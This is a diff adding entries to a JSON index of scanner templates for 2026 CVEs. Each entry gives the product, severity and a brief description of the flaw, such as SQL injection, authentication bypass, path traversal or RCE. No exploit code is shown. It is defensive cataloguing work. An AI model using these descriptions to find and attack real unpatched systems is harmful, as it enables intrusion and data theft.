+{"ID":"CVE-2026-10823","Info":{"Name":"YMC Filter WordPress - Unauthenticated Post Disclosure","Severity":"high","Description":"YMC Filter WordPress plugin \u003c 3.11.3 contains a broken access control vulnerability caused by improper authorization and lack of validation in a REST API endpoint, letting unauthenticated attackers retrieve private and non-public post content, exploit requires no authentication.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-10823.yaml"}
 {"ID":"CVE-2026-1207","Info":{"Name":"Django RasterField - SQL Injection","Severity":"high","Description":"Django \u003c 6.0.2, \u003c 5.2.11, and \u003c 4.2.28 contains a SQL injection caused by improper sanitization of the band index parameter in RasterField on PostGIS, letting remote attackers inject SQL, exploit requires crafted input.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2026/CVE-2026-1207.yaml"}
 {"ID":"CVE-2026-1277","Info":{"Name":"URL Shortify \u003c= 1.12.1 - Open Redirect","Severity":"medium","Description":"The URL Shortify plugin for WordPress is vulnerable to Open Redirect in all versions up to, and including, 1.12.1 due to insufficient validation on the 'redirect_to' parameter in the promotional dismissal handler. This makes it possible for unauthenticated attackers to redirect users to potentially malicious sites via a crafted link.\n","Classification":{"CVSSScore":"4.7"}},"file_path":"http/cves/2026/CVE-2026-1277.yaml"}
 {"ID":"CVE-2026-1296","Info":{"Name":"Frontend Post Submission Manager Lite \u003c= 1.2.7 - Open Redirect","Severity":"medium","Description":"The Frontend Post Submission Manager Lite plugin for WordPress is vulnerable to Open Redirection in all versions up to, and including, 1.2.7 due to insufficient validation on the 'requested_page' POST parameter in the verify_username_password function. This makes it possible for unauthenticated attackers to redirect users to potentially malicious sites if they can successfully trick them into performing an action such as clicking on a link.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-1296.yaml"}
@@ -3925,8 +3933,10 @@
 {"ID":"CVE-2026-1557","Info":{"Name":"WP Responsive Images \u003c= 1.0 - Arbitrary File Read","Severity":"high","Description":"WP Responsive Images plugin for WordPress \u003c= 1.0 contains a path traversal caused by improper sanitization of the 'src' parameter, letting unauthenticated attackers read arbitrary files on the server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-1557.yaml"}
 {"ID":"CVE-2026-1581","Info":{"Name":"wpForo Forum \u003c= 2.4.14 - SQL Injection","Severity":"critical","Description":"wpForo Forum WordPress plugin \u003c= 2.4.14 contains a time-based SQL injection caused by insufficient escaping of the 'wpfob' parameter, letting unauthenticated attackers extract sensitive database information.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-1581.yaml"}
 {"ID":"CVE-2026-1603","Info":{"Name":"Ivanti Endpoint Manager - Authentication Bypass","Severity":"high","Description":"Ivanti Endpoint Manager \u003c 2024 SU5 contains an authentication bypass caused by improper access control, letting remote unauthenticated attackers leak stored credential data, exploit requires no special privileges.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2026/CVE-2026-1603.yaml"}
+{"ID":"CVE-2026-1890","Info":{"Name":"LeadConnector \u003c 3.0.22 - Unauthenticated Arbitrary Data Write","Severity":"medium","Description":"LeadConnector WordPress plugin \u003c 3.0.22 contains a broken access control caused by missing authorization in a REST route, letting unauthenticated attackers overwrite existing data remotely, exploit requires no authentication.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-1890.yaml"}
 {"ID":"CVE-2026-20079","Info":{"Name":"Cisco Secure Firewall Management Center - Authentication Bypass","Severity":"critical","Description":"Cisco Secure Firewall Management Center Software contains an authentication bypass caused by improper system process creation at boot, letting unauthenticated remote attackers execute scripts and gain root access, exploit requires crafted HTTP requests.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2026/CVE-2026-20079.yaml"}
 {"ID":"CVE-2026-2025","Info":{"Name":"Mail Mint \u003c 1.19.5 - Unauthenticated Email Disclosure","Severity":"high","Description":"Mail Mint WordPress plugin \u003c 1.19.5 contains an information disclosure vulnerability caused by lack of authorization in a REST API endpoint, letting unauthenticated users retrieve email addresses of blog users, exploit requires no authentication.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-2025.yaml"}
+{"ID":"CVE-2026-20253","Info":{"Name":"Splunk Enterprise \u0026 Cloud Platform - Unrestricted File Upload","Severity":"critical","Description":"In Splunk Enterprise versions below 10.2.4 and 10.0.7, and Splunk Cloud Platform versions below 10.4.2604.3 and 10.2.2510.14, an unauthenticated user could create or truncate arbitrary files through a PostgreSQL sidecar service endpoint.\u003cbr\u003e\u003cbr\u003eThe vulnerability exists because the PostgreSQL sidecar service endpoint lacks authentication controls, allowing any network-reachable user to invoke file operations without credentials.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-20253.yaml"}
 {"ID":"CVE-2026-21445","Info":{"Name":"Langflow - Broken Access Control","Severity":"critical","Description":"Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.0.dev45, multiple critical API endpoints in Langflow are missing authentication controls. The issue allows any unauthenticated user to access sensitive user conversation data, transaction histories, and perform destructive operations including message deletion. This affects endpoints handling personal data and system operations that should require proper authorization.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-21445.yaml"}
 {"ID":"CVE-2026-21484","Info":{"Name":"AnythingLLM - Username Enumeration via Password Recovery","Severity":"medium","Description":"AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. Prior to commit e287fab56089cf8fcea9ba579a3ecdeca0daa313, the password recovery endpoint returns different error messages depending on whether a username exists, so enabling username enumeration. Commit e287fab56089cf8fcea9ba579a3ecdeca0daa313 fixes this issue.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-21484.yaml"}
 {"ID":"CVE-2026-21643","Info":{"Name":"Fortinet FortiClientEMS 7.4.4 - SQL Injection","Severity":"critical","Description":"Fortinet FortiClientEMS version 7.4.4 and earlier contains an unauthenticated SQL injection vulnerability in the /api/v1/init_consts endpoint. The 'Site' HTTP header value is passed directly into the PostgreSQL search_path without sanitization, allowing remote unauthenticated attackers to inject arbitrary SQL commands. This can lead to information disclosure, database manipulation, or OS command execution when chained with PostgreSQL functions.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-21643.yaml"}
@@ -3935,8 +3945,10 @@
 {"ID":"CVE-2026-21877","Info":{"Name":"n8n \u003e= 0.123.0 and \u003c 1.121.3 - Remote Code Execution","Severity":"critical","Description":"n8n versions \u003e= 0.123.0 and \u003c 1.121.3 contain a critical authenticated remote code execution vulnerability via arbitrary file write. An authenticated user can exploit the Git node to overwrite critical files and execute untrusted code on the n8n server, potentially leading to full system compromise. The vulnerability affects both self-hosted and n8n Cloud instances.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2026/CVE-2026-21877.yaml"}
 {"ID":"CVE-2026-21891","Info":{"Name":"ZimaOS - Authentication Bypass","Severity":"critical","Description":"ZimaOS \u003c= 1.5.0 contains a broken authentication caused by improper password validation for known system service accounts in the login function, letting attackers authenticate with any password for these accounts, exploit requires knowledge of common usernames.\n","Classification":{"CVSSScore":"9.4"}},"file_path":"http/cves/2026/CVE-2026-21891.yaml"}
 {"ID":"CVE-2026-22200","Info":{"Name":"osTicket - Arbitrary File Read","Severity":"high","Description":"Enhancesoft osTicket versions 1.18.x prior to 1.18.3 and 1.17.x prior to 1.17.7 contain an arbitrary file read vulnerability in the ticket PDF export functionality. A remote attacker can submit a ticket containing crafted rich-text HTML that includes PHP filter expressions which are insufficiently sanitized before being processed by the mPDF PDF generator during export. When the attacker exports the ticket to PDF, the generated PDF can embed the contents of attacker-selected files from the server filesystem as bitmap images, allowing disclosure of sensitive local files in the context of the osTicket application user. This issue is exploitable in default configurations where guests may create tickets and access ticket status, or where self-registration is enabled.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-22200.yaml"}
+{"ID":"CVE-2026-22557","Info":{"Name":"UniFi Network Application - Path Traversal","Severity":"critical","Description":"UniFi Network Application contains a path traversal vulnerability allowing a network attacker to access and manipulate files on the underlying system, potentially leading to account access, exploit requires network access.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-22557.yaml"}
 {"ID":"CVE-2026-2262","Info":{"Name":"Easy Appointments \u003c= 3.12.21 - Information Disclosure","Severity":"high","Description":"Easy Appointments WordPress plugin \u003c= 3.12.21 contains a sensitive information exposure caused by an unauthenticated REST API endpoint /wp-json/wp/v2/eablocks/ea_appointments/ registered with permission_callback allowing unrestricted access, letting unauthenticated attackers extract sensitive customer appointment data.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-2262.yaml"}
 {"ID":"CVE-2026-22739","Info":{"Name":"Spring Cloud Config Server - Path Traversal","Severity":"high","Description":"Spring Cloud 3.1.x \u003c 3.1.13, 4.1.x \u003c 4.1.9, 4.2.x \u003c 4.2.3, 4.3.x \u003c 4.3.2, and 5.0.x \u003c 5.0.2 contain a path traversal caused by profile parameter substitution in Config Server using native file system backend, letting attackers access files outside configured directories, exploit requires crafted request.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2026/CVE-2026-22739.yaml"}
+{"ID":"CVE-2026-22778","Info":{"Name":"vLLM 0.8.3 - 0.14.0 - Information Disclosure","Severity":"critical","Description":"vLLM 0.8.3 to - 0.14.1 contains an information disclosure caused by leaking a heap address in error messages from the multimodal endpoint when processing invalid images, letting remote attackers reduce ASLR entropy, exploit requires sending invalid images.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-22778.yaml"}
 {"ID":"CVE-2026-22812","Info":{"Name":"OpenCode \u003c 1.0.216 - Unauthenticated Remote Code Execution","Severity":"high","Description":"OpenCode versions prior to 1.0.216 contain an unauthenticated remote code execution vulnerability. The application exposes session and shell execution endpoints without proper authentication, allowing remote attackers to create sessions and execute arbitrary shell commands on the underlying server.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2026/CVE-2026-22812.yaml"}
 {"ID":"CVE-2026-23482","Info":{"Name":"Blinko \u003c 1.8.4 - Path Traversal","Severity":"high","Description":"Blinko \u003c 1.8.4 contains a path traversal vulnerability caused by lack of permission checks and filtering on the temp/ path in the file server endpoint, letting unauthorized attackers read arbitrary files including backup files with user notes and tokens, exploit requires no special privileges.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-23482.yaml"}
 {"ID":"CVE-2026-23483","Info":{"Name":"Blinko \u003c= 1.8.3 - Path Traversal via /plugins","Severity":"medium","Description":"Blinko \u003c= 1.8.3 contains a path traversal caused by improper path concatenation without verification in the plugin file server endpoint, letting remote attackers access arbitrary files, exploit requires network access.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-23483.yaml"}
@@ -3952,6 +3964,7 @@
 {"ID":"CVE-2026-25512","Info":{"Name":"Group-Office \u003c 26.0.5 - Remote Code Execution","Severity":"critical","Description":"Group-Office before versions 6.8.150, 25.0.82, and 26.0.5 is vulnerable to remote code execution via OS command injection. The endpoint email/message/tnefAttachmentFromTempFile directly concatenates the user-controlled parameter tmp_file into an exec() call. By injecting shell metacharacters into tmp_file, an authenticated attacker can execute arbitrary system commands on the server.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2026/CVE-2026-25512.yaml"}
 {"ID":"CVE-2026-25527","Info":{"Name":"changedetection.io \u003c= 0.52.9 - Unauthenticated Path Traversal","Severity":"medium","Description":"changedetection.io \u003c= 0.53.9 contains a path traversal caused by improper validation of the 'group' parameter in /static/\u003cgroup\u003e/\u003cfilename\u003e route, letting unauthenticated attackers read local application source files.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-25527.yaml"}
 {"ID":"CVE-2026-25545","Info":{"Name":"Astro SSR - Server-Side Request Forgery","Severity":"high","Description":"Astro before 5.17.3 and @astrojs/node before 9.5.4 are vulnerable to full-read SSRF due to improper Host header validation in error page rendering, allowing attackers to redirect requests and access internal resources.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2026/CVE-2026-25545.yaml"}
+{"ID":"CVE-2026-25555","Info":{"Name":"OpenBullet2 \u003c= 0.3.2 - Authentication Bypass","Severity":"critical","Description":"OpenBullet2 \u003c= 0.3.2 contains an authentication bypass caused by improper API key authentication middleware handling empty X-Api-Key header, letting unauthenticated attackers gain admin access, exploit requires sending empty X-Api-Key header.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-25555.yaml"}
 {"ID":"CVE-2026-25616","Info":{"Name":"Blesta \u003c= 5.13.1 - Cross-Site Scripting","Severity":"medium","Description":"Blesta 3.x through 5.x before 5.13.3 contains an input validation vulnerability caused by mishandling input, letting attackers potentially exploit the system, exploit requires unspecified conditions.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-25616.yaml"}
 {"ID":"CVE-2026-25892","Info":{"Name":"Adminer 4.6.2 - 5.4.1 Unauthenticated Persistent DoS","Severity":"high","Description":"Adminer \u003c= 5.4.1 contains a denial of service caused by lack of origin validation in version check endpoint, letting attackers trigger server errors via crafted POST requests, exploit requires no special privileges.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-25892.yaml"}
 {"ID":"CVE-2026-26190","Info":{"Name":"Milvus - Unauthenticated Metrics API Access","Severity":"critical","Description":"Milvus \u003c 2.5.27 and \u003c 2.6.10 contains an authentication bypass caused by weak default token and unauthenticated REST API on TCP port 9091, letting attackers perform arbitrary expression evaluation and data manipulation, exploit requires network access to port 9091.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-26190.yaml"}
@@ -3963,31 +3976,39 @@
 {"ID":"CVE-2026-27176","Info":{"Name":"MajorDoMo - Cross-Site Scripting","Severity":"medium","Description":"MajorDoMo contains a reflected XSS caused by unsanitized $qry parameter in command.php, letting attackers inject arbitrary JavaScript via crafted URLs, exploit requires victim to visit malicious URL.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-27176.yaml"}
 {"ID":"CVE-2026-27483","Info":{"Name":"MindsDB - Remote Code Execution","Severity":"high","Description":"MindsDB \u003c 25.9.1.1 contains a remote code execution caused by path traversal in the /api/files upload file module, letting authenticated attackers write arbitrary files and execute commands, exploit requires authentication.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2026/CVE-2026-27483.yaml"}
 {"ID":"CVE-2026-27645","Info":{"Name":"Changedetection.io RSS Single Watch - Cross-Site Scripting","Severity":"medium","Description":"changedetection.io \u003c 0.54.1 contains a stored XSS caused by unescaped reflection of UUID path parameter in RSS single-watch endpoint, letting remote attackers execute JavaScript in victim's browser, exploit requires victim to visit crafted URL.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-27645.yaml"}
+{"ID":"CVE-2026-27760","Info":{"Name":"OpenCATS - Command Injection","Severity":"high","Description":"OpenCATS prior to commit 3002a29 contains a command injection caused by injection of PHP statements into the installer AJAX endpoint's databaseConnectivity action parameter, letting unauthenticated attackers execute arbitrary code, exploit requires incomplete installation wizard.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2026/CVE-2026-27760.yaml"}
 {"ID":"CVE-2026-27771","Info":{"Name":"Gitea Container Registry - Unauthorized Private Image Access","Severity":"high","Description":"Gitea \u003c 1.26.2 allows unauthenticated remote attackers to pull private container images.The /v2/token endpoint grants anonymous ghost tokens (UserID:-1) with no scope restriction.The ReqContainerAccess middleware does not check package owner visibility, so ghost users can enumerate all container repositories via /_catalog and pull any private image layer.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-27771.yaml"}
+{"ID":"CVE-2026-27826","Info":{"Name":"mcp-atlassian \u003c 0.17.0 - Server-Side Request Forgery","Severity":"high","Description":"MCP Atlassian \u003c 0.17.0 contains a server-side request forgery caused by improper validation of custom HTTP headers in the HTTP middleware, letting unauthenticated attackers force outbound requests to arbitrary URLs, exploit requires access to the mcp-atlassian HTTP endpoint.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"http/cves/2026/CVE-2026-27826.yaml"}
+{"ID":"CVE-2026-27833","Info":{"Name":"Piwigo \u003c 16.3.0 - Unauthenticated Information Disclosure via History API","Severity":"high","Description":"Piwigo \u003c= 16.3.0 contains an information disclosure vulnerability caused by the pwg.history.search API method lacking admin_only restriction, letting unauthenticated users access full browsing history, exploit requires no authentication\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-27833.yaml"}
 {"ID":"CVE-2026-27944","Info":{"Name":"Nginx UI \u003c 2.3.3 - Information Disclosure","Severity":"critical","Description":"Nginx UI \u003c 2.3.3 contains an information disclosure vulnerability caused by unauthenticated access to /api/backup endpoint exposing encryption keys in X-Backup-Security header, letting unauthenticated attackers download and decrypt full system backups.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-27944.yaml"}
 {"ID":"CVE-2026-27971","Info":{"Name":"Qwik - Unauthenticated RCE via server$ Deserialization","Severity":"critical","Description":"Qwik \u003c=1.19.0 contains an insecure deserialization vulnerability in the server$ RPC mechanism, letting unauthenticated attackers execute arbitrary code remotely, exploit requires require() availability at runtime.\n","Classification":{"CVSSScore":"9.2"}},"file_path":"http/cves/2026/CVE-2026-27971.yaml"}
 {"ID":"CVE-2026-28288","Info":{"Name":"Dify User Enumeration via Observable Response Discrepancy","Severity":"medium","Description":"Dify is an open-source LLM app development platform. Prior to 1.9.0, responses from the Dify API to existing and non-existent accounts differ, allowing an attacker to enumerate email addresses registered with Dify. Version 1.9.0 fixes the issue.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-28288.yaml"}
 {"ID":"CVE-2026-28358","Info":{"Name":"NocoDB - User Enumeration","Severity":"medium","Description":"NocoDB is software for building databases as spreadsheets. Prior to version 0.301.3, the password forgot endpoint returned different responses for registered and unregistered emails, allowing user enumeration. This issue has been patched in version 0.301.3.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-28358.yaml"}
 {"ID":"CVE-2026-28409","Info":{"Name":"WeGIA \u003c= 3.6.4 - Remote Code Execution","Severity":"critical","Description":"WeGIA \u003c= 3.6.5 contains a remote code execution caused by improper validation of backup file names in the database restoration functionality, letting attackers with administrative access execute arbitrary OS commands\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-28409.yaml"}
 {"ID":"CVE-2026-28414","Info":{"Name":"Gradio - Absolute Path Traversal","Severity":"high","Description":"Gradio \u003c 6.7 on Windows with Python 3.13+ contains an absolute path traversal caused by incorrect path validation in path joining logic, letting unauthenticated attackers read arbitrary files from the server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-28414.yaml"}
+{"ID":"CVE-2026-28496","Info":{"Name":"FOSSBilling - Server-Side Template Injection","Severity":"critical","Description":"A Server-Side Template Injection (SSTI) vulnerability exists in FOSSBilling's template rendering system. Administrators with access to features that render Twig templates (email templates, mass mail campaigns, custom payment adapters, and the string_render API endpoint) can inject arbitrary Twig expressions, leading to information disclosure and remote code execution. The vulnerability exists because Twig templates are rendered without a sandbox, allowing access to the full Twig environment, API context, and the application's dependency injection container.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-28496.yaml"}
 {"ID":"CVE-2026-29014","Info":{"Name":"MetInfo CMS \u003c= 8.1 - Remote Code Execution","Severity":"critical","Description":"MetInfo CMS 7.9, 8.0, and 8.1 contain an unauthenticated PHP code injection vulnerability caused by insufficient input neutralization in the execution path, letting remote attackers execute arbitrary code remotely, exploit requires crafted requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-29014.yaml"}
 {"ID":"CVE-2026-29059","Info":{"Name":"Windmill/Nextcloud Flow \u003c 1.603.3 - Unauthenticated Path Traversal","Severity":"critical","Description":"Windmill \u003c 1.603.3 contains a path traversal caused by unsanitized filename parameter in get_log_file endpoint, letting unauthenticated attackers read arbitrary files on the server, exploit requires no authentication.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-29059.yaml"}
 {"ID":"CVE-2026-29066","Info":{"Name":"TinaCMS - Path Traversal","Severity":"medium","Description":"TinaCMS CLI \u003c 2.1.8 contains a file system read vulnerability caused by disabled Vite server.fs.strict setting, letting unauthenticated attackers read arbitrary files on the host system, exploit requires access to the dev server.\n","Classification":{"CVSSScore":"6.2"}},"file_path":"http/cves/2026/CVE-2026-29066.yaml"}
 {"ID":"CVE-2026-29183","Info":{"Name":"SiYuan Note - Cross-Site Scripting","Severity":"medium","Description":"Unauthenticated reflected cross-site scripting (XSS) vulnerability in all versions of SiYuan Note containing `/api/icon/getDynamicIcon` with unsafe `type=8` rendering logic. Attacker-controlled `content` is inserted directly into SVG output without proper sanitization. An attacker can execute arbitrary JavaScript in users' browsers when they visit a crafted malicious link.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-29183.yaml"}
+{"ID":"CVE-2026-3018","Info":{"Name":"WordPress Newsletters \u003c= 4.13 - Unauthenticated SQL Injection","Severity":"high","Description":"Newsletters WordPress plugin \u003c= 4.13 contains a time-based SQL injection caused by insufficient escaping of the 'wpmlsubscriber_id' parameter, letting unauthenticated attackers extract sensitive database information.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-3018.yaml"}
 {"ID":"CVE-2026-3055","Info":{"Name":"Citrix NetScaler SAML IDP - Memory Overread","Severity":"critical","Description":"NetScaler ADC and NetScaler Gateway contain an insufficient input validation vulnerability when configured as a SAML IDP, leading to memory overread, letting attackers potentially access sensitive memory, exploit requires configuration as SAML IDP\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-3055.yaml"}
 {"ID":"CVE-2026-30824","Info":{"Name":"Flowise - NVIDIA NIM Endpoints Missing Authentication","Severity":"high","Description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to version 3.0.13, the NVIDIA NIM router (/api/v1/nvidia-nim/*) is whitelisted in the global authentication middleware, allowing unauthenticated access to privileged container management and token generation endpoints.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2026/CVE-2026-30824.yaml"}
 {"ID":"CVE-2026-30928","Info":{"Name":"Glances - Information Disclosure","Severity":"high","Description":"Glances \u003c 4.5.1 contains an information disclosure vulnerability caused by unfiltered exposure of sensitive configuration data via the /api/4/config REST API endpoint, letting remote attackers access credentials, exploit requires API access.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-30928.yaml"}
+{"ID":"CVE-2026-30958","Info":{"Name":"OneUptime \u003c 10.0.21 - Path Traversal","Severity":"high","Description":"OneUptime \u003c 10.0.21 contains a path traversal caused by unsanitized componentName parameter in /workflow/docs/:componentName endpoint, letting unauthenticated attackers read arbitrary files from the server filesystem.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2026/CVE-2026-30958.yaml"}
 {"ID":"CVE-2026-31807","Info":{"Name":"SiYuan \u003c= v3.5.9 - SVG Animate Element XSS","Severity":"medium","Description":"SiYuan \u003c= v3.5.9 contains a reflected XSS caused by insufficient SVG sanitization allowing SVG animation elements to inject executable JavaScript in /api/icon/getDynamicIcon endpoint, letting unauthenticated attackers execute scripts.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-31807.yaml"}
 {"ID":"CVE-2026-31809","Info":{"Name":"SiYuan \u003c= v3.5.9 - Cross Site Scripting","Severity":"medium","Description":"SiYuan v3.5.10 contains a reflected XSS caused by improper sanitization of javascript: href attributes allowing ASCII control characters to bypass prefix checks in SVG sanitizer, letting unauthenticated attackers execute JavaScript via /api/icon/getDynamicIcon.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-31809.yaml"}
 {"ID":"CVE-2026-31816","Info":{"Name":"Budibase - Authentication Bypass","Severity":"critical","Description":"Budibase \u003c= 3.31.4 contains an authentication bypass caused by unanchored regex in authorized() middleware matching webhook path patterns in query strings, letting unauthenticated remote attackers access any server-side API endpoint, exploit requires crafted request with webhook pattern in URL.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-31816.yaml"}
 {"ID":"CVE-2026-32230","Info":{"Name":"Uptime-Kuma \u003c v1.23.0 - Improper Access Control","Severity":"medium","Description":"Uptime-Kuma before v1.23.0 is vulnerable to an information disclosure issue due to missing authorization on the /api/badge/1/ping/24 endpoint. An unauthenticated attacker can access this endpoint to leak ping statistics, such as average ping and ping history, for existing monitors without needing access to the protected status page. This can lead to unintended exposure of internal monitoring data.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-32230.yaml"}
 {"ID":"CVE-2026-32583","Info":{"Name":"Webnus Inc. Modern Events Calendar - Broken Access Control","Severity":"medium","Description":"Webnus Inc. Modern Events Calendar \u003c= 7.29.0 contains a broken access control vulnerability caused by incorrectly configured access control security levels, letting attackers bypass authorization, exploit requires no special privileges.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-32583.yaml"}
 {"ID":"CVE-2026-32596","Info":{"Name":"Glances - Information Disclosure","Severity":"high","Description":"Glances \u003c 4.5.2 contains an information disclosure vulnerability caused by the web server running without authentication by default, letting remote attackers access sensitive system information including credentials, exploit requires no special privileges.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-32596.yaml"}
+{"ID":"CVE-2026-3300","Info":{"Name":"Everest Forms Pro \u003c= 1.9.12 - Unauthenticated RCE via Calculation Formula Injection","Severity":"critical","Description":"The Everest Forms Pro plugin for WordPress is vulnerable to Remote Code Execution via PHP Code Injection in all versions up to, and including, 1.9.12. This is due to the Calculation Addon's process_filter() function concatenating user-submitted form field values into a PHP code string without proper escaping before passing it to eval(). The sanitize_text_field() function applied to input does not escape single quotes or other PHP code context characters. This makes it possible for unauthenticated attackers to inject and execute arbitrary PHP code on the server by submitting a crafted value in any string-type form field (text, email, URL, select, radio) when a form uses the \"Complex Calculation\" feature.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-3300.yaml"}
 {"ID":"CVE-2026-33017","Info":{"Name":"Langflow \u003c 1.9.0 - Remote Code Execution","Severity":"critical","Description":"Langflow versions prior to 1.9.0 are vulnerable to unauthenticated remote code execution (RCE) via the build_public_tmp endpoint. Attackers can submit a manipulated flow JSON containing Python code that is executed during the build process without proper sandboxing.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-33017.yaml"}
 {"ID":"CVE-2026-33032","Info":{"Name":"Nginx UI - Broken Access Control","Severity":"critical","Description":"Network attackers can fully control nginx service, including config modification and service restart, leading to complete service takeover.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-33032.yaml"}
 {"ID":"CVE-2026-33057","Info":{"Name":"Mesop AI Sandbox \u003c= 1.2.2 - Remote Code Execution","Severity":"critical","Description":"Mesop \u003c= 1.2.2 contains an unrestricted remote code execution caused by unauthenticated ingestion and execution of base64-encoded Python code in the /exec-py endpoint of ai/testing module, letting attackers execute arbitrary commands on the host, exploit requires HTTP access to the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-33057.yaml"}
 {"ID":"CVE-2026-33340","Info":{"Name":"LoLLMs WEBUI - Server-Side Request Forgery","Severity":"critical","Description":"LoLLMs WEBUI contains a server-side request forgery caused by unauthenticated access to the /api/proxy endpoint, letting attackers force the server to make arbitrary GET requests, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-33340.yaml"}
 {"ID":"CVE-2026-33439","Info":{"Name":"OpenAM \u003c= 16.0.5 - Pre-Auth RCE via jato.clientSession Deserialization","Severity":"critical","Description":"Open Access Management (OpenAM) is an access management solution. Prior to 16.0.6, OpenIdentityPlatform OpenAM is vulnerable to pre-authentication Remote Code Execution (RCE) via unsafe Java deserialization of the jato.clientSession HTTP parameter. This bypasses the WhitelistObjectInputStream mitigation that was applied to the jato.pageSession parameter after CVE-2021-35464.  This vulnerability is fixed in 16.0.6.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-33439.yaml"}
+{"ID":"CVE-2026-33476","Info":{"Name":"SiYuan \u003c= v3.6.1 - Path Traversal","Severity":"high","Description":"SiYuan is a personal knowledge management system. Prior to version 3.6.2, the Siyuan kernel exposes an unauthenticated file-serving endpoint under `/appearance/*filepath.` Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process. Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials. Version 3.6.2 fixes this issue.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-33476.yaml"}
 {"ID":"CVE-2026-33478","Info":{"Name":"AVideo \u003c= 26.0 - WWBN AVideo - Remote Code Execution","Severity":"critical","Description":"WWBN AVideo \u003c= 26.0 contains multiple vulnerabilities in the CloneSite plugin including unauthenticated exposure of clone secret keys and OS command injection in rsync command construction, letting unauthenticated attackers achieve remote code execution.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-33478.yaml"}
